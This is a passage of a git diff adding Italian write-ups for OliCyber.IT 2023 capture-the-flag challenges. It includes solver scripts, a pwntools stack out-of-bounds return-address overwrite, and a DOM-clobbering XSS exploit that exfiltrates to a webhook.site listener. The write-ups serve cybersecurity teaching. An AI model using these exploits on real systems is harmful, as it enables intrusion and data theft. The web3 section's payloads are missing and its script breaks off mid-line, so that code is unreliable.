0xff` avremmo recuperato la stringa segreta. + +Tuttavia, possiamo chiedere tutti i valori tra 0 e 255, e siamo sicuri di farci rispondere esattamente una volta con il byte `0xff`; in particolare, possiamo recuperare il carattere originale prendendo il byte che ha più uni nella sua scrittura binaria tra quelli che ci vengono risposti. + +Questo perché, detto `hw` il peso di Hamming di un byte, per ogni byte `b` vale `hw(c & b) <= hw(c) = hw(c & 0xff)`: infatti nelle posizioni in cui `b` ha un 1, `c & b` ha lo stesso bit di `c`, mentre dove `b` ha uno 0, sicuramente `c & b` avrà uno 0. + +### Exploit + +```python +from pwn import remote + + +def hw(x): + return bin(x).count("1") + + +r = remote(HOST, PORT) +r.recvlines(2) + +for _ in range(10): + r.recvline() + sol = [0]*8 + for i in range(256): + r.sendlineafter(">", str(i)) + data = r.recvline(False).decode().strip() + res = bytes.fromhex(data) + for j in range(8): + if hw(res[j]) > hw(sol[j]): + sol[j] = res[j] + ans = bytes(sol).hex() + r.sendlineafter(">", "g") + r.sendlineafter("?", ans) + +flag = r.recvline(False).decode() +print(flag) + +``` diff --git a/2023-territoriale/crypto3.md b/2023-territoriale/crypto3.md new file mode 100644 index 0000000..bce149f --- /dev/null +++ b/2023-territoriale/crypto3.md @@ -0,0 +1,31 @@ +# OliCyber.IT 2023 - Selezione territoriale + +## [crypto-3] Squared (3 risoluzioni) + +La challenge implementa una cifratura della flag con uno schema "custom". + +### Soluzione + +Grazie ad elevate skill di osint, dal nome della classe `class CramerShoup:` possiamo notare che si tratta del sistema di Cramer-Shoup, e chiedere al nostro amico Google di fornirci una descrizione più dettagliata. Probabilmente finiremo sulla pagina di [Wikipedia](https://en.wikipedia.org/wiki/Cramer%E2%80%93Shoup_cryptosystem). + +Leggendo la descrizione ci accorgiamo che la sostanziale differenza dallo schema standard è che stiamo lavorando modulo $q^2$ anziché $q$, e che i nostri generatori $g_1$ e $g_2$ hanno forme particolari. + +Step 1: come si decifra? Notiamo che, come descritto da Wikipedia, la maggior parte delle cose non ci servono davvero se vogliamo decifrare: l'unico conto utile per ottenere il messaggio è semplicemente $m=e\cdot u_1^{-z} \pmod{q^2}$. Questi valori li conosciamo tutti tranne $z$. + +Step 2: come recuperiamo $z$? Quello che sappiamo è che $h\equiv g_1^z \pmod{q^2}$, e che $g_1 = rq+1$ per un qualche $r$. Espandiamo quindi la potenza $(rq+1)^z$: +$$(rq+1)^z = 1+rqz+\binom{z}{2}r^2q^2+\binom{z}{3}r^3q^3+\dots$$ +Se guardiamo questa quantità $\pmod{q^2}$ notiamo che quasi tutti i termini si cancellano, portandoci a $(rq+1)^z\equiv 1+zrq \pmod{q^2}$. A questo punto ci basta invertire il tutto per recuperare $z$. + +### Exploit + +```python +from Crypto.Util.number import long_to_bytes + +q, g1, g2 = (11470138098838773708030299067136047693985643409815055516364871317327807079521448915691685861415122090973650886160077675041872096255748644205171133021906581, 9003006990024217063418664322777899522670868744045338331471978102179370394474853183714250130931554683355264178666457178650493068973801371784999138015238547453749424028274489114585764789308403838869831793702683055071173043908501825323408800075943216778848624188993802253540272113542566555235758627924849465755, 30695053705787686472472089155075095431127414292070142108805891966899174910016207338925506877338039048732660872227095162264783032128353875687957732364446829529016135710433244740911334142919786084768834847576132678567406621995101556008456435289394712500552159569603814760663616101003363895634860119112142269162) +c, d, h = (62572684725806894633586610615555438660666327604574745430523129443353203741333665013245481230291882424665624338985554261478237771606647897845135142653244638464685570875207814153416503585503925102728571870862182981033391874409025876512065824758130737528657900932174208689266905409179402578538193660600147750113, 94029223758268708352102192422440162767870804423975089069088248832848614219351791559263601965084669160768031520801300153726001634980378144336422845556730611136140004899433851809390498552707062227591477204514367460310682961082004129024693435750135162313211632453329071272457875479610259166199541093368812125045, 50546540341085183415507224936518334604711685964263124636999686702641843511526498465503345467344453227152141303306529827793131490409927342367015067738979646228265647844945577289329681465107016274742563276607069587247288006071083319178678116112323261983438570338257546673823953641540087649018945691148808316116) +u1, u2, e, v = (66632231289696916498285744488845451715582410560959664362376408153108822964495865314170681131564221586163510188707866747493009792773246026296295260588843205215987204857932632870501507382694713022567107225945263382833368108671994546572920764961586825776755698210529190557793100332440397787587706932207789464864, 26408095134663528500664412256487603687548175155691166565932027521869413617755977983165272255540517119118965365249178341574587065778241561420394915544865049925431873958770030809884807139930587373248835600492147330200411060282492337946039880419852646795835198191689491199652656496211371256925270464458514331290, 101779018321251004961503893067852392494032175313676341971933813562690601201049627319810964899541774655240383027183030100700931356585491608048963758475299378515600412667747084376055408260103075443439098427841624479011278421745216305490763225917976494875336023420375195767279649898103001780201840295749797205385, 49098523663716219607067754871590190086859837322977055818571648252226592771075819679359644599145589292387378845420713446784750292673726883433316163559256923745928820467969285587045703168504193179219204667226012683942476607629593072121411526819606369760943150813129965762758247721838129337194068576186848749438) + +z = (((h-1)*pow((g1-1)//q, -1, q**2)) % q**2)//q +m = (e*pow(pow(u1, z, q**2), -1, q**2)) % q**2 +print(long_to_bytes(m)) +``` diff --git a/2023-territoriale/misc1.md b/2023-territoriale/misc1.md new file mode 100644 index 0000000..a6274c2 --- /dev/null +++ b/2023-territoriale/misc1.md @@ -0,0 +1,135 @@ +# OliCyber.IT 2023 - Selezione territoriale + +## [misc-1] Gabibbo Innovazione Tecnologica (99 risoluzioni) + +La challenge consiste in un semplice servizio web che permette di loggarsi e vedere la lista delle note appartenenti all'utente loggato. Le funzionalità di creazione di un nuovo utente e di creazione delle note non sono disponibili in quanto non utili ai fini della challenge. Viene anche reso disponibile il codice sorgente, gestito tramite git. Guardando al codice sorgente si vede che un utente di test viene inserito direttamente nel database e che la flag è tra le sue note, ma la password presente nel codice è hashata, esplorando i commit vecchi si trova la password in chiaro. + +### Soluzione + +Guardando al codice si vede che un utente di test viene inserito direttamente nel database e che la flag è tra le sue note, ma si vede anche che la password è hashata: + +```py +# Create an initial admin user if it doesn't exist +c.execute("SELECT * FROM users WHERE username = 'admin'") +if not c.fetchone(): + hashed_pw = '$2b$12$AQ6terssqMr7pUBQleGDaut1hzaZ2xVotg3J/wkighj3..5DPH8Ji' + c.execute("INSERT INTO users (username, password) VALUES (?, ?)", ('admin', hashed_pw)) + conn.commit() + +# create two initial notes for the admin user if don't exist +c.execute("SELECT * FROM notes WHERE user_id = 1") +if not c.fetchone(): + c.execute("INSERT INTO notes (user_id, note) VALUES (?, ?)", (1, 'My first note!')) + c.execute("INSERT INTO notes (user_id, note) VALUES (?, ?)", (1, os.environ.get("FLAG", "My example flag!"))) + conn.commit() +``` + +Tramite il comando `git log` si possono vedere i vari commit presenti nella repository + +```git +commit 5e2e2ff0683aa4f45ba1f6956c71ea03fa1a0768 (HEAD -> master) +Author: Gabibbo +Date: Sat Mar 11 19:09:37 2023 +0000 + + add css + +commit 45e1e08035546a8abebf1c66235128025eb67cbd +Author: Gabibbo +Date: Sat Mar 11 19:09:37 2023 +0000 + + refactor using flask templates + +commit 3cb11df85aab7f1316f4e46269366eb890f16ae6 +Author: Gabibbo +Date: Sat Mar 11 19:09:37 2023 +0000 + + add some notes to the db + +commit 62e4954e4abd37173cc247ebeb52e8db221a7b7b +Author: Gabibbo +Date: Sat Mar 11 19:09:37 2023 +0000 + + hash passwords before inserting in the db + +commit 6d74ea9024383fcbf6cb5894a8f2db63181e28c7 +Author: Gabibbo +Date: Sat Mar 11 19:09:37 2023 +0000 + + add admin for testing login + +commit fe3711f0cb1efc7da5518e8a564cedec363152ab +Author: Gabibbo +Date: Sat Mar 11 19:09:37 2023 +0000 + + add gitignore + +commit 41c3d2eafff05b9758b187c102cb9b0c948411f6 +Author: Gabibbo +Date: Sat Mar 11 19:09:37 2023 +0000 + + prototipe for the app + +commit 71eb70bf6145115b3b62a8d3491bc797ca491a06 +Author: Gabibbo +Date: Sat Mar 11 19:09:37 2023 +0000 + + initial commit +``` + +Tramite `git checkout ` è possibile vedere lo stato della repository nel momento del commit, facendo un po' di tentativi si vede che nel commit `6d74` viene aggiunto l'utente di test al database con la password in chiaro, mentre in quello successivo, ossia `62e4` viene inserita nel database direttamente l'hash della password. Tramite `git diff 6d74 62e4 app.py` si vede la differenza tra i due commit: + +```git +diff --git a/app.py b/app.py +index b50820c..bb96433 100644 +--- a/app.py ++++ b/app.py +@@ -1,6 +1,7 @@ + from flask import Flask, render_template, request, redirect, url_for, session, flash + import sqlite3 + import os ++import bcrypt + + app = Flask(__name__) + app.secret_key = os.urandom(24) +@@ -24,7 +25,8 @@ c.execute('''CREATE TABLE IF NOT EXISTS notes + # Create an initial admin user if it doesn't exist + c.execute("SELECT * FROM users WHERE username = 'admin'") + if not c.fetchone(): +- c.execute("INSERT INTO users (username, password) VALUES (?, ?)", ('admin', 'tkdF^cZFFaAD3!dTEQ7n')) ++ hashed_pw = '$2b$12$AQ6terssqMr7pUBQleGDaut1hzaZ2xVotg3J/wkighj3..5DPH8Ji' ++ c.execute("INSERT INTO users (username, password) VALUES (?, ?)", ('admin', hashed_pw)) + conn.commit() + + @app.route('/', methods=['GET', 'POST']) +@@ -50,7 +52,7 @@ def login(): + password = request.form['password'] + c.execute("SELECT * FROM users WHERE username = ?", (username,)) + user = c.fetchone() +- if user and password == user[2]: ++ if user and bcrypt.checkpw(password.encode('utf-8'), user[2].encode('utf-8')): + session['username'] = user[1] + session['user_id'] = user[0] + return redirect(url_for('notes')) +``` + +Dall'output di sopra si evince che la password dell'admin è `tkdF^cZFFaAD3!dTEQ7n`, per ottenere la flag è sufficiente loggarsi alla applicazione con username `admin` e la password appena trovata, la flag sarà all'interno della pagine tra le note. + +### Exploit + +Come descritto sopra, una volta trovata la password dell'admin, per esempio tramite `git diff 6d74 62e4 app.py`, è sufficiente loggarsi alla applicazione con username=`admin` e password=`tkdF^cZFFaAD3!dTEQ7n`, la flag sarà all'interno della pagine tra le note. +Il seguente script in python effettua il login come admin e legge la flag: + +```py +import requests + +# URL della challenge +URL = "http://xxx.challs.olicyber.it" + +ses = requests.Session() +res = ses.post(URL + "/login", data={"username": "admin", "password": "tkdF^cZFFaAD3!dTEQ7n"}) +res = ses.get(URL) + +flag = re.findall(r"flag{.*?}", res.text)[0] + +print(flag) +``` diff --git a/2023-territoriale/network1.md b/2023-territoriale/network1.md new file mode 100644 index 0000000..90fdb71 --- /dev/null +++ b/2023-territoriale/network1.md @@ -0,0 +1,33 @@ +# OliCyber.IT 2023 - Selezione territoriale + +## [network-1] Flag interceptor (176 risoluzioni) + +La cattura fornita dalla challenge contiene le comunicazioni di 50 client verso lo stesso server. I vari client mandano delle stringhe, un carattere per volta, chiudendo e riaprendo la connessione ad ogni carattere inviato. Pertanto, ogni flusso TCP continene un solo carattere inviato. Come riporta la descrizione, solo una delle stringhe inviate rispetta il formato della flag. + +### Soluzione + +Ė possibile analizzare il contenuto della cattura con uno script (per comodità). L'obiettivo è quello di ricostruire le stringhe inviate separando i caratteri per indirizzo IP. Una volta ottenute tutte le stringhe filtriamo quelle che non rispettano il formato della flag, ottenendo un solo risultato che è effettivamente la flag. + +### Exploit + +```python +#!/bin/python3 + +import pyshark +from collections import defaultdict + +streams = defaultdict(str) + +cap = pyshark.FileCapture('attachments/flag-interceptor.pcap') + +for p in cap: + if 'data' in p: + ip = p.ip.src + data = p.data.data + streams[ip] += bytes.fromhex(data).decode()[:-1] + +for addr in streams: + stream = streams[addr] + if stream.startswith('flag{') and stream.endswith('}'): + print(stream) +``` diff --git a/2023-territoriale/software1.md b/2023-territoriale/software1.md new file mode 100644 index 0000000..e417682 --- /dev/null +++ b/2023-territoriale/software1.md @@ -0,0 +1,31 @@ +# OliCyber.IT 2023 - Selezione territoriale + +## [binary-1] Frasi basate (336 risoluzioni) + +La challenge è un semplice esegubile ELF molto piccolo, risultato della compilazione di un programma in C. La descrizione della challenge dice che ci sono delle informazioni da recuperare da questo binario. Non essendoci un server remoto indicato, la challenge è statica e molto probabilmente di puro reverse. + +### Soluzione + +Usando `strings` sul binario notiamo che ci sono alcune stringhe evidentemente stampabili, e una particolarmente lunga + +```bash +Qm9pYSBkZWgsIGxhIGZsYWcgaW4gYjY0LCBpbnRyb3ZhYmlsZSwgYXNzb2x1dGFtZW50ZSBmbGFne3N0cjFuZ2gzX2ludXQxbDFfZV9kMHYzX3RyMHY0cmwzXzNiM2RhNDYzY2NhZTNhOTVmODMxfQ== +``` + +Dato che finisce per `==`, sospettiamo sia il base64 di una stringa. Possiamo decodificarla + +```bash +echo -n "Qm9pYSBkZWgsIGxhIGZsYWcgaW4gYjY0LCBpbnRyb3ZhYmlsZSwgYXNzb2x1dGFtZW50ZSBmbGFne3N0cjFuZ2gzX2ludXQxbDFfZV9kMHYzX3RyMHY0cmwzXzNiM2RhNDYzY2NhZTNhOTVmODMxfQ==" | base64 -d + +Boia deh, la flag in b64, introvabile, assolutamente flag{str1ngh3_inut1l1_e_d0v3_tr0v4rl3_3b3da463ccae3a95f831} +``` + +e trovare effettivamente la flag. + +### Exploit + +```bash +#!/usr/bin/env bash +strings -n 80 based | base64 -d + +``` diff --git a/2023-territoriale/software2.md b/2023-territoriale/software2.md new file mode 100644 index 0000000..5afc0a0 --- /dev/null +++ b/2023-territoriale/software2.md @@ -0,0 +1,39 @@ +# OliCyber.IT 2023 - Selezione territoriale + +## [binary-2] Super-licenza (89 risoluzioni) + +Abbiamo un altro binario risultato della compilazione di un file C. Il programma ci offre la possibilità di validare una super-licenza. +Ci dice sia se la stringa che gli abbiamo data è corretta, sia se è sbagliata. Per capire qualcosa del binario è necessario analizzarlo. + +### Soluzione + +Anche se il binario è strippato, possiamo comunque analizzarlo per capire cosa fa, per esempio caricandolo su ghidra. +Uno dei primi controlli è la lunghezza della stringa che gli mandiamo, che deve essere uguale a 52 caratteri. + +La funzione successiva, fa un pattern che assomiglia a + +```c +buf2[i] = buf1[array[i]]; +``` + +che sembra un modo per permutare o quantomeno cambiare l'ordine degli elementi di `buf1`. Possiamo con un banale copia-incolla prenderci questo array e metterlo da parte. + +La funzione successiva, dopo un breve rename delle variabili, fa una cosa molto semplice: xora il risultato della funzione di prima con una chiave hard-codata nel binario. Possiamo di nuovo con un copia-incolla salvarci questa chiave. + +Dopo aver fatto queste due modifiche alla nostra stringa, il programma la confronta con un'altra stringa hardcodata nel binario, che possiamo salvarci. A questo punto, se vogliamo ottenere la flag, possiamo prendere questa stringa hardcodata e applicare all'inverso le operazioni che fa il binario. + +L'inverso dello xor con una chiave fissa è semplicemente fare di nuovo lo xor con la stessa chiave. La permutazione è leggermente più tricky, perché dobbiamo ottenere l'inverso di una permutazione, cosa che si può fare in modo semplice con python come indicato sotto. +Mettendo insieme tutti i pezzi si ottiene la flag. + +### Exploit + +```python +perm = [13, 25, 31, 10, 11, 15, 44, 51, 4, 46, 19, 28, 22, 50, 9, 30, 18, 20, 0, 26, 45, 42, 6, 48, 2, 39, 16, 7, 8, 24, 34, 17, 37, 36, 14, 3, 41, 33, 12, 23, 1, 40, 35, 49, 27, 21, 29, 43, 32, 47, 5, 38] +key = [154, 248, 31, 43, 27, 224, 171, 31, 195, 98, 254, 218, 168, 63, 112, 60, 117, 25, 48, 160, 72, 193, 84, 202, 117, 230, 117, 166, 222, 22, 110, 239, 24, 237, 230, 252, 228, 17, 6, 163, 175, 94, 29, 36, 246, 93, 202, 142, 163, 234, 150, 165] +enc_flag = [170, 167, 125, 116, 105, 129, 146, 98, 184, 7, 207, 168, 156, 7, 17, 99, 23, 119, 86, 216, 121, 241, 33, 172, 20, 130, 42, 150, 170, 115, 89, 156, 41, 218, 146, 155, 208, 112, 115, 252, 195, 63, 120, 64, 198, 51, 254, 239, 149, 222, 228, 199] + +dec_flag = [k ^ f for k, f in zip(key, enc_flag)] +inv_perm = [perm.index(v) for v in range(len(perm))] +flag = bytes([dec_flag[v] for v in inv_perm]).decode() +print(flag) +``` diff --git a/2023-territoriale/software3.md b/2023-territoriale/software3.md new file mode 100644 index 0000000..1e61fd1 --- /dev/null +++ b/2023-territoriale/software3.md @@ -0,0 +1,98 @@ +# OliCyber.IT 2023 - Selezione territoriale + +## [binary-3] Fritto disordinato (7 risoluzioni) + +La chall è una classica pwn, in cui esaminando il sorgente si vede in fretta la presenza di una win function che stampa la flag. +La funzione non è raggiungibile usando il programma in modo convenzionale, è necessario arrivarci corrompendo in qualche modo la memoria del processo. +Il binario è compilato staticamente e sono attive tutte le protezioni, ASLR, canary, NX. + +Esaminando qualche dettaglio extra del sorgente, vediamo che all'interno della chall c'è un array di interi di lunghezza fissa allocato sullo stack e questo array viene utilizzato come "ordine" di una lista di stringhe, la canzone del gabibbo. Usando il programma come da specifiche, possiamo settare e leggere i valori su questo array, oppure provare a far cantare la canzone al gabibbo, che non sarà contento di cantarla out-of order. + +### Soluzione + +Possiamo notare che non viene fatto alcun tipo di bounds check quando andiamo a leggere o scrivere su questo array. Dato che l'array è sullo stack, abbiamo già praticamente vinto. Leggendo out of bound possiamo infatti andare a leggere un sacco di cose utili: + +- indirizzi dell'eseguibile (non della libc, è linkato staticamente) +- indirizzi dello stack +- il canary +- indirizzi dell'heap + +Di questi in realtà abbiamo bisogno solo dell'indirizzo dell'eseguibile, essendo linkato staticamente e avendo una win function pronta. Una volta letto un qualsiasi indirizzo dell'eseguibile dallo stack possiamo ricavarci la base dell'esegubile e quindi calcolare l'indirizzo della funzione win, essendo sempre ad un offset fisso le une rispetto alle altre. Per trovare un indirizzo dell'esegubile, possiamo ricordarci che lo stack-frame x86 è sempre + +```text +canary +old_rbp +return_address +``` + +per cui esaminando con gdb la memoria subito prima della chiamata a `printf` in `load_num`, possiamo vedere come ci sia per esempio l'indirizzo a cui deve tornare la funzione `load_num` sullo stack, poco più in alto rispetto al vettore che controlliamo. +Ricordando che sono interi a 32bit, mentre gli indirizzi sono a 64, dovremo leggere due numeri, rispettivamente alla posizione -10, -9, che saranno la parte più e meno significativa del numero. + +Ottenuto questo leak di informazioni possiamo sovrascrivere l'indirizzo a cui ritorna la funzione `main`, mettendoci l'indirizzo della funzione `win`. Dovremo anche in questo caso scrivere due numeri, che saranno ad offset 34, 35 (in realtà non dobbiamo davvero cambiare la parte più significativa dell'indirizzo perché sarà già quella giusta, ma lo facciamo comunque perché abbiamo una primitiva che permette di fare tutto e questo è un caso più generale). + +### Exploit + +```python +#!/usr/bin/env python3 +from pwn import ELF, context, process, log, ui, args, remote +from os.path import split + +exe = context.binary = ELF("fritto") +remotehost = ("fritto-disordinato.challs.olicyber.it", 34000) + + +def menu(io, choice: int): + io.sendlineafter(b"> ", f"{choice}".encode()) + + +def store(io, pos: int, val: int): + menu(io, 0) + io.sendlineafter(b"numero?", f"{pos}".encode()) + io.sendlineafter(b"scriverci?", f"{val}".encode()) + + +def read(io, pos: int): + menu(io, 1) + io.sendlineafter(b"leggere?\n", f"{pos}".encode()) + val = int(io.recvline(False).decode().split(":")[1].strip()) + return (2**32 + val) % 2**32 + + +def read_8_bytes(io, pos: int): + val1 = read(io, pos) + val2 = read(io, pos + 1) + return val1 + (val2 << 32) + + +def write_8_bytes(io, pos: int, val: int): + store(io, pos + 1, val >> 32) + store(io, pos, val % 2**32) + + +def canzone(): + io = process([exe.path], cwd=split(exe.path)[0]) + for i, pos in enumerate([13, 3, 14, 1, 9, 7, 10, 15, 17, 12, 16, 6, 11, 2, 8, 0, 4, 5]): + store(io, i, pos) + menu(io, 2) + io.interactive() + + +def main(): + if args.REMOTE: + io = remote(*remotehost) + else: + io = process([exe.path], cwd=split(exe.path)[0], env={"FLAG": "flag{test}"}) + ui.pause() + io.recvuntil(b"Canta la canzone") + retaddr = read_8_bytes(io, -10) + log.success(f"Leaked {retaddr = :#018x}") + exe.address = retaddr - (exe.sym['main'] + 241) + log.success(f"Leaked {exe.address = :#018x}") + write_8_bytes(io, 34, exe.sym['win']) + menu(io, 7) + io.interactive() + + +if __name__ == "__main__": + main() +``` diff --git a/2023-territoriale/web1.md b/2023-territoriale/web1.md new file mode 100644 index 0000000..31ee42d --- /dev/null +++ b/2023-territoriale/web1.md @@ -0,0 +1,32 @@ +# OliCyber.IT 2023 - Selezione territoriale + +## [web-1] Gabibbo's treasure (550 risoluzioni) + +La challenge implementa un semplice controllo delle credenziali client-side + +### Soluzione + +Analizzando il sorgente della pagina visitata trovaiamo lo script JavaScript che viene eseguito al click del pulsante. + +```js +const password = document.getElementById("password").value; +if (password !== "Belandi, dammi la flag!") { + document.getElementById("result").innerText = "Password errata"; +} else { + flag = await ( + await fetch("/flag?password=" + encodeURIComponent(password)) + ).text(); + document.getElementById("result").innerText = flag; +} +``` + +Da qui possiamo ottenere la password `Belandi, dammi la flag!` che ci permetterà di ricevere la flag. + +### Exploit + +```python +import requests + +r = requests.get('http://treasure.challs.olicyber.it/flag?password=Belandi%2C%20dammi%20la%20flag!') +print(r.text) +``` diff --git a/2023-territoriale/web2.md b/2023-territoriale/web2.md new file mode 100644 index 0000000..d8c8e42 --- /dev/null +++ b/2023-territoriale/web2.md @@ -0,0 +1,28 @@ +# OliCyber.IT 2023 - Selezione territoriale + +## [web-2] Gabibbo's friend (306 risoluzioni) + +Nella challenge si possono richiedere delle immagini, ma solo se l'id è minore di 5. In caso contrario viene censusato il risultato della richiesta. DEVICE_MEMORY è un array di 8 elementi, di cui il sesto è la flag. + +```python +@app.route('/get-picture') +def getPicture(): + id = int(request.args['id']) + + if (id > 4): + return '???' + + return DEVICE_MEMORY[id] +``` + +### Soluzione + +Si possono richiedere numeri negativi, in python -1 è l'ultimo elemento di un array, -2 il penultimo e così via. Quindi si può richiedere l'immagine con id -3, che è la flag. + +### Exploit + +```python +import requests +r = requests.get(f"{URL}/get-picture?id=-3") +print(r.text) +``` diff --git a/2023-territoriale/web3.md b/2023-territoriale/web3.md new file mode 100644 index 0000000..390c553 --- /dev/null +++ b/2023-territoriale/web3.md @@ -0,0 +1,76 @@ +# OliCyber.IT 2023 - Selezione territoriale + +## [web-3] debug_disabilitato (8 risoluzioni) + +Nell'applicazione abbiamo la possibilità di inserire delle note, il rendering della nota è eseguito attraverso del codice javascript client-side. + +In particolare c'è un punto del codice che dovrebbe attirare l'attenzione: + +```javascript + +``` + +```javascript +// Debug disattivato, da cancellare appena il boss mi da il permesso +if (window.debug) { + document.write( + `

Note title: ${data.title}

` + ); + document.write( + `

Note content: ${data.content}

` + ); +} +``` + +### Soluzione + +Abbiamo quindi del codice che è disabilitato in quanto una variabile non è stata dichiarata. +Nella nota possiamo inserire alcuni tag HTML che da soli non permettono l'esecuzione di codice client-side, tuttavia permettono di fare altre cose come il DOM clobbering. + +Possiamo infatti creare dei tag con la proprietà `id` che vanno a costituire una HTML Collection, questo significa che gli elementi con un id specificato (ma anche proprietà `name`) finiscono sotto l'oggetto globale `window`. + +Possiamo difatti riabilitare la stampa di debug che è vulnerabile ad una normale DOM based XSS. +Usando quindi un exploit di questo genere abbiamo esecuzione di codice: + +```javascript +

+ +``` + +### Exploit + +```python +import requests +import string +import random +import re + +def random_string(): + return ''.join(random.choices(string.ascii_letters, k=10)) + +url = "http://debug_disabilitato.challs.olicyber.it" +username = random_string() +password = random_string() +xss_listener = "https://webhook.site/[REDATTO]" + +s = requests.Session() +r = s.post(f"{url}/register", data={ + "username": username, + "password": password +}) + +r = s.post(f"{url}/add_note", data={ + "title": "Exploit", + "content": f'

' +}) + +matches = re.findall(' | +| 2 | misc | [Gabibbo Innovazione Tecnologica](https://training.olicyber.it/challenges#) | [writeup](/2023-territoriale/misc1.md) | 99 | Lorenzo Catoni <@lorenz> | +| 3 | crypto | [Classicamente python](https://training.olicyber.it/challenges#) | [writeup](/2023-territoriale/crypto1.md) | 381 | Riccardo Zanotto <@Drago> | +| 4 | crypto | [IndovinANDo segreti](https://training.olicyber.it/challenges#) | [writeup](/2023-territoriale/crypto2.md) | 70 | Riccardo Zanotto <@Drago> | +| 5 | crypto | [Squared](https://training.olicyber.it/challenges#) | [writeup](/2023-territoriale/crypto3.md) | 3 | Matteo Rossi <@mr96> | +| 6 | binary | [Frasi basate](https://training.olicyber.it/challenges#) | [writeup](/2023-territoriale/software1.md) | 336 | Fabio Zoratti <@OrsoBruno96>, Nicola Vella <@nick0ve> | +| 7 | binary | [Super-licenza](https://training.olicyber.it/challenges#) | [writeup](/2023-territoriale/software2.md) | 89 | Fabio Zoratti <@OrsoBruno96>, Nicola Vella <@nick0ve> | +| 8 | binary | [Fritto disordinato](https://training.olicyber.it/challenges#) | [writeup](/2023-territoriale/software3.md) | 7 | Fabio Zoratti <@OrsoBruno96>, Nicola Vella <@nick0ve> | +| 9 | web | [Gabibbo's treasure](https://training.olicyber.it/challenges#) | [writeup](/2023-territoriale/web1.md) | 550 | Stefano Alberto <@Xato> | +| 10 | web | [Gabibbo's friend](https://training.olicyber.it/challenges#) | [writeup](/2023-territoriale/web2.md) | 306 | Mattia Furlani <@Maxpnl>, Stefano Alberto <@Xato> | +| 11 | web | [debug_disabilitato](https://training.olicyber.it/challenges#) | [writeup](/2023-territoriale/web3.md) | 8 | Aleandro Prudenzano <@drw0if> | + ## OliCyber.IT 2023 - Training Camp 3 -| # | categoria | challenge | writeup | solves | autore | -| --: | :-------- | :--------------------------------------------------------------------------------------- | :---------------------- | -----: | :------------------------------ | -| 1 | misc | [GES - Gabibbo Encoding Standard](https://training.olicyber.it/challenges#challenge-386) | [writeup](misc1.md) | 36 | Alessandro Pizzorni <@Pixel> | -| 2 | network | [Furto di dati](https://training.olicyber.it/challenges#challenge-387) | [writeup](network1.md) | 2 | Alberto Carboneri <@Alberto247> | -| 3 | crypto | [Enterprise Encryption](https://training.olicyber.it/challenges#challenge-385) | [writeup](crypto1.md) | 86 | Francesco Felet <@PhiQuadro> | -| 4 | crypto | [Xorn't](https://training.olicyber.it/challenges#challenge-384) | [writeup](crypto2.md) | 8 | Francesco Felet <@PhiQuadro> | -| 5 | crypto | [PhiQuadro](https://training.olicyber.it/challenges#challenge-383) | [writeup](crypto3.md) | 1 | Francesco Felet <@PhiQuadro> | -| 6 | binary | [obbibag](https://training.olicyber.it/challenges#challenge-390) | [writeup](software1.md) | 153 | Marco Bonelli <@mebeim> | -| 7 | binary | [lil-overflow](https://training.olicyber.it/challenges#challenge-388) | [writeup](software2.md) | 41 | Mario Del Gaudio <@hdesk> | -| 8 | binary | [baby-encryption](https://training.olicyber.it/challenges#challenge-389) | [writeup](software3.md) | 15 | Mario Del Gaudio <@hdesk> | -| 9 | web | [È tutto solo una convenzione](https://training.olicyber.it/challenges#challenge-393) | [writeup](web1.md) | 161 | Lorenzo Leonardini <@pianka> | -| 10 | web | [Pincode](https://training.olicyber.it/challenges#challenge-392) | [writeup](web2.md) | 76 | Aleandro Prudenzano <@drw0if> | -| 11 | web | [Gabibbo Kontakte](https://training.olicyber.it/challenges#challenge-391) | [writeup](web3.md) | 10 | Aleandro Prudenzano <@drw0if> | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :--------------------------------------------------------------------------------------- | :----------------------------------- | ----------: | :------------------------------ | +| 1 | misc | [GES - Gabibbo Encoding Standard](https://training.olicyber.it/challenges#challenge-386) | [writeup](/2023-camp-3/misc1.md) | 36 | Alessandro Pizzorni <@Pixel> | +| 2 | network | [Furto di dati](https://training.olicyber.it/challenges#challenge-387) | [writeup](/2023-camp-3/network1.md) | 2 | Alberto Carboneri <@Alberto247> | +| 3 | crypto | [Enterprise Encryption](https://training.olicyber.it/challenges#challenge-385) | [writeup](/2023-camp-3/crypto1.md) | 86 | Francesco Felet <@PhiQuadro> | +| 4 | crypto | [Xorn't](https://training.olicyber.it/challenges#challenge-384) | [writeup](/2023-camp-3/crypto2.md) | 8 | Francesco Felet <@PhiQuadro> | +| 5 | crypto | [PhiQuadro](https://training.olicyber.it/challenges#challenge-383) | [writeup](/2023-camp-3/crypto3.md) | 1 | Francesco Felet <@PhiQuadro> | +| 6 | binary | [obbibag](https://training.olicyber.it/challenges#challenge-390) | [writeup](/2023-camp-3/software1.md) | 153 | Marco Bonelli <@mebeim> | +| 7 | binary | [lil-overflow](https://training.olicyber.it/challenges#challenge-388) | [writeup](/2023-camp-3/software2.md) | 41 | Mario Del Gaudio <@hdesk> | +| 8 | binary | [baby-encryption](https://training.olicyber.it/challenges#challenge-389) | [writeup](/2023-camp-3/software3.md) | 15 | Mario Del Gaudio <@hdesk> | +| 9 | web | [È tutto solo una convenzione](https://training.olicyber.it/challenges#challenge-393) | [writeup](/2023-camp-3/web1.md) | 161 | Lorenzo Leonardini <@pianka> | +| 10 | web | [Pincode](https://training.olicyber.it/challenges#challenge-392) | [writeup](/2023-camp-3/web2.md) | 76 | Aleandro Prudenzano <@drw0if> | +| 11 | web | [Gabibbo Kontakte](https://training.olicyber.it/challenges#challenge-391) | [writeup](/2023-camp-3/web3.md) | 10 | Aleandro Prudenzano <@drw0if> | ## OliCyber.IT 2023 - Training Camp 2 -| # | categoria | challenge | writeup | solves | autore | -| --: | :-------- | :------------------------------------------------------------------------------------------- | :---------------------- | -----: | :------------------------------ | -| 1 | misc | [Gab-chan.png](https://training.olicyber.it/challenges#challenge-375) | [writeup](misc1.md) | 5 | Alessandro Pizzorni <@Pixel> | -| 2 | network | [SSH login](https://training.olicyber.it/challenges#challenge-376) | [writeup](network1.md) | 207 | Alberto Carboneri <@Alberto247> | -| 3 | crypto | [Last minute](https://training.olicyber.it/challenges#challenge-372) | [writeup](crypto1.md) | 178 | Lorenzo Demeio <@Devrar> | -| 4 | crypto | [Il solito servizio](https://training.olicyber.it/challenges#challenge-374) | [writeup](crypto2.md) | 40 | Lorenzo Demeio <@Devrar> | -| 5 | crypto | [Sempre più primi, sempre più strani](https://training.olicyber.it/challenges#challenge-373) | [writeup](crypto3.md) | 2 | Lorenzo Demeio <@Devrar> | -| 6 | binary | [implementation defined](https://training.olicyber.it/challenges#challenge-379) | [writeup](software1.md) | 21 | 